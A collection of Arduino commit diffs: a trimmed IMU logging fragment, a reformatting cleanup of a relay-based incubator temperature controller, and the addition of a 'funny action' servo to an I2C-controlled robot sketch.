-
-  static char string[300];
-  //compile output
-  sprintf(string, "%d,%d,%f,%f,%f,%f,%f,%f,%f,%f,%f",ct,loop_time,imu.roll,imu.pitch,imu.yaw,imu.ax,imu.ay,imu.az,getVal(1, ANGLE),getVal(2, ANGLE),getVal(3, ANGLE));
-
-  //output
-  dataln(string);
-  logln(string);
 }


Cleaning up the sketch code

Cleaning up the sketch code

--- incubator.ino
+++ incubator.ino
@@ -1,23 +1,20 @@
-#include <Time.h>
 #include <OneWire.h>
 #include <DallasTemperature.h>
+#include <Time.h>

-// project settings
-#define PIN_RELAY       2    // NC relay
+#define PIN_RELAY       2    // Relay controller
 #define PIN_TEMPERATURE 3    // DS18B20 temperature sensor

-#define CMD_SYNC       'T'   // Header tag for serial time sync message
-#define TMP_SYNC       'S'   // Header tag for the temperature sync message
-
-#define TIME_LENGTH     10   // Unix time_t as ten ASCII digits
-#define TEMP_LENGTH     2    // Unix flaot as 2 ASCII digits
+#define TIME_CMD       'T'   // Header tag for serial time sync message
+#define TIME_LEN        10   // Length of time payload
 #define TIME_FREQ       15   // run actions every 15 seconds

+#define TEMP_CMD       'S'   // Header tag for the temperature sync message
+#define TEMP_LEN        2    // Length of temperature payload
 #define TEMP_OFFSET     1.0  // Temperature offset
 #define TEMP_TARGET     64.0 // Temperature target

-// project variables
-int relay_status        = HIGH; // Fridge off
+int relay_status        = HIGH;
 long timestamp          = 0;
 double temperature      = 0.0;
 double targetTemp       = 0.0;
@@ -26,38 +23,38 @@
 DallasTemperature sensors(&temperatureWire);

 void logAction(const char* action) {
-	Serial.print(action);
-	Serial.print(":");
-	Serial.print(timestamp);
+    Serial.print(action);
+    Serial.print(":");
+    Serial.print(timestamp);
 }

 void logData(const char* action) {
-	logAction(action);
-	Serial.println();
+    logAction(action);
+    Serial.println();
 }

 void logData(const char* action, int value) {
-	logAction(action);
-	Serial.print(":");
-	Serial.println(value);
+    logAction(action);
+    Serial.print(":");
+    Serial.println(value);
 }

 void logData(const char* action, long value) {
-	logAction(action);
-	Serial.print(":");
-	Serial.println(value);
+    logAction(action);
+    Serial.print(":");
+    Serial.println(value);
 }

 void logData(const char* action, double value) {
-	logAction(action);
-	Serial.print(":");
-	Serial.println(value);
+    logAction(action);
+    Serial.print(":");
+    Serial.println(value);
 }

 void logData(const char* action, const char* value) {
-	logAction(action);
-	Serial.print(":");
-	Serial.println(value);
+    logAction(action);
+    Serial.print(":");
+    Serial.println(value);
 }

 /**
@@ -65,103 +62,91 @@
  * it accordingly.
  */
 void readInputData() {
-	if (Serial.available() > 0) {
-		char c = Serial.read();
-		switch (c) {
-			case CMD_SYNC:
-				while (Serial.available() >= TIME_LENGTH) {
-					time_t pctime = 0;
-					for (int i=0; i<TIME_LENGTH; i++) {
-						c = Serial.read();
-						if (c >= '0' && c <= '9') {
-							pctime = (10 * pctime) + (c - '0');
-						}
-					}
-					setTime(pctime);
-					logData("sync", (long)pctime);
-				}
-				break;
-                        case TMP_SYNC:
-                                while (Serial.available() >= TEMP_LENGTH) {
-					double temp = 0;
-					for (int i=0; i<TEMP_LENGTH; i++) {
-						c = Serial.read();
-						if (c >= '0' && c <= '9') {
-							temp = (10 * temp) + (c - '0');
-						}
-					}
-					targetTemp = temp;
-					logData("temp", (double)temperature);
-				}
-				break;
-		}
-	}
+    if (Serial.available() > 0) {
+        char c = Serial.read();
+        switch (c) {
+            case TIME_CMD:
+                while (Serial.available() >= TIME_LEN) {
+                    time_t intime = 0;
+                    for (int i=0; i<TIME_LEN; i++) {
+                        c = Serial.read();
+                        if (c >= '0' && c <= '9') {
+                            intime = (10 * intime) + (c - '0');
+                        }
+                    }
+                    setTime(intime);
+                    logData("settime", (long)intime);
+                }
+                break;
+            case TEMP_CMD:
+                while (Serial.available() >= TEMP_LEN) {
+                    double intemp = 0;
+                    for (int i=0; i<TEMP_LEN; i++) {
+                        c = Serial.read();
+                        if (c >= '0' && c <= '9') {
+                            intemp = (10 * intemp) + (c - '0');
+                        }
+                    }
+                    targetTemp = intemp;
+                    logData("settemp", (double)intemp);
+                }
+                break;
+        }
+    }
 }

 /**
- * Reads and store the temperature data from the DS18B20
- * sensor.
+ * Reads and store the temperature data from the DS18B20 sensor.
  */
 void readTemperature() {
-	sensors.requestTemperatures();
-	temperature = (double)sensors.getTempFByIndex(0);
+    sensors.requestTemperatures();
+    temperature = (double)sensors.getTempFByIndex(0);
 }

 /**
- * Checks the current temperature and enables/disables the relay
+ * Checks the current temperature and enables/disables the relay.
  */
 void checkTemperature() {
-	readTemperature();
-	logData("temp", temperature);
-        logData("max", targetTemp+TEMP_OFFSET);
-        logData("min", targetTemp-TEMP_OFFSET);
-        logData("relay", relay_status);
-	if (temperature > targetTemp+TEMP_OFFSET) {
-		if (relay_status != LOW) {
-                        logData("cooler", "turnOn");
-			relay_status = LOW;
-			digitalWrite(PIN_RELAY, relay_status);
-			logData("switch", 1);
-		} else {
-                        logData("cooler", "isOn");
-                }
-	} else {
-		if (temperature < targetTemp-TEMP_OFFSET) {
-			if (relay_status != HIGH) {
-                                logData("cooler", "turnOff");
-				relay_status = HIGH;
-				digitalWrite(PIN_RELAY, relay_status);
-				logData("switch", 0);
-			} else {
-                                logData("cooler", "isOff");
-                        }
-		} else {
-                        logData("cooler", "?");
-                }
-	}
+    readTemperature();
+    if (temperature > targetTemp+TEMP_OFFSET) {
+        if (relay_status != LOW) {
+            relay_status = LOW;
+            digitalWrite(PIN_RELAY, relay_status);
+            logData("switch", 1);
+        }
+    } else {
+        if (temperature < targetTemp-TEMP_OFFSET) {
+            if (relay_status != HIGH) {
+                relay_status = HIGH;
+                digitalWrite(PIN_RELAY, relay_status);
+                logData("switch", 0);
+            }
+        }
+    }
 }

 void setup() {
-	Serial.begin(9600);
-	// setup temperature sensors
-	sensors.begin();
-        targetTemp = TEMP_TARGET;
-	// setup heater relay
-	pinMode(PIN_RELAY, OUTPUT);
-        digitalWrite(PIN_RELAY, relay_status);
+    Serial.begin(9600);
+    // setup temperature sensors
+    sensors.begin();
+    targetTemp = TEMP_TARGET;
+    // setup heater relay
+    pinMode(PIN_RELAY, OUTPUT);
+    digitalWrite(PIN_RELAY, relay_status);
 }

 void loop() {
-	// process serial input
-	if (Serial.available()) {
-		readInputData();
-	}
-	// read the current timestamp
-	timestamp = (long)now();
-	// timed logic
-	if (timestamp % TIME_FREQ == 0) {
-		checkTemperature();
-	}
-	// limit the loop to once per second
-	delay(1000);
+    // process serial input
+    if (Serial.available()) {
+        readInputData();
+    }
+    // read the current timestamp
+    timestamp = (long)now();
+    // timed logic
+    if (timestamp % TIME_FREQ == 0) {
+        checkTemperature();
+    }
+    // limit the loop to once per second
+    delay(1000);
 }
+


Adding funny action default position

Adding funny action default position

--- code/arduino/kinematics/kinematics.ino
+++ code/arduino/kinematics/kinematics.ino
@@ -15,31 +15,46 @@
 //servos const
 const int SERVO_CLAMP_PIN = 9;
 const int SERVO_PUSH_PIN = 10;
+const int SERVO_FUNNY_PIN = 11;
 const int PUSH_BACK = 60;
 const int PUSH_OUT = 20;
 const int CLAMP_OPEN_ANGLE = 70;
 const int CLAMP_CLOSE_ANGLE = 180;
+//TODO : define funny action's servo values
+const int FUNNY_SET = 100;
+const int FUNNY_RESET = 0;
 Servo servo_clamp;
 Servo servo_push;
+Servo servo_funny;

-int servo;
-int action;
+//Random value to do nothing on the first loop, waiting for I2C command
+int servo = 5;
+int action = 5;

 void setup() {
-   Wire.begin(SLAVE_ADDRESS);
-   Wire.onReceive(receive_data);
+    //Join I2C bus as slave
+    Wire.begin(SLAVE_ADDRESS);
+    Wire.onReceive(receive_data);

-   //Set the actual baudrate et ctrl pin (input) for the dynamixel
-   pinMode(DYNAMIXEL_CTRL_PIN, INPUT);
-   Dynamixel.begin(1000000, DYNAMIXEL_CTRL_PIN);
+    //Set the actual baudrate et ctrl pin (input) for the dynamixel
+    pinMode(DYNAMIXEL_CTRL_PIN, INPUT);
+    Dynamixel.begin(1000000, DYNAMIXEL_CTRL_PIN);

-  //Attache the servo on the PWM pin;
-  servo_clamp.attach(SERVO_CLAMP_PIN);
-  servo_push.attach(SERVO_PUSH_PIN);
+    //Attache the servo on the PWM pin;
+    servo_clamp.attach(SERVO_CLAMP_PIN);
+    servo_push.attach(SERVO_PUSH_PIN);
+    servo_funny.attach(SERVO_FUNNY_PIN);
+
+    //Default servos positions
+    change_servo_angle(&servo_clamp, CLAMP_OPEN_ANGLE);
+    move_dynamixel_angle(ANGLE_DYNAMIXEL_VERTICAL);
+    change_servo_angle(&servo_push, PUSH_BACK);
+    change_servo_angle(&servo_funny, FUNNY_RESET);
 }

 void loop() {
-  process_action(servo, action);
+    delay(100);
+    process_action(servo, action);
 }

 void receive_data(int byte_count) {
@@ -86,6 +101,13 @@
         change_servo_angle(&servo_push, PUSH_OUT);
       }
       break;
+    case 3:
+      if (action == 0) {
+        change_servo_angle(&servo_funny, FUNNY_RESET);
+      }
+      else if (action == 1) {
+        change_servo_angle(&servo_funny, FUNNY_SET);
+      }
    default :
      break;
   }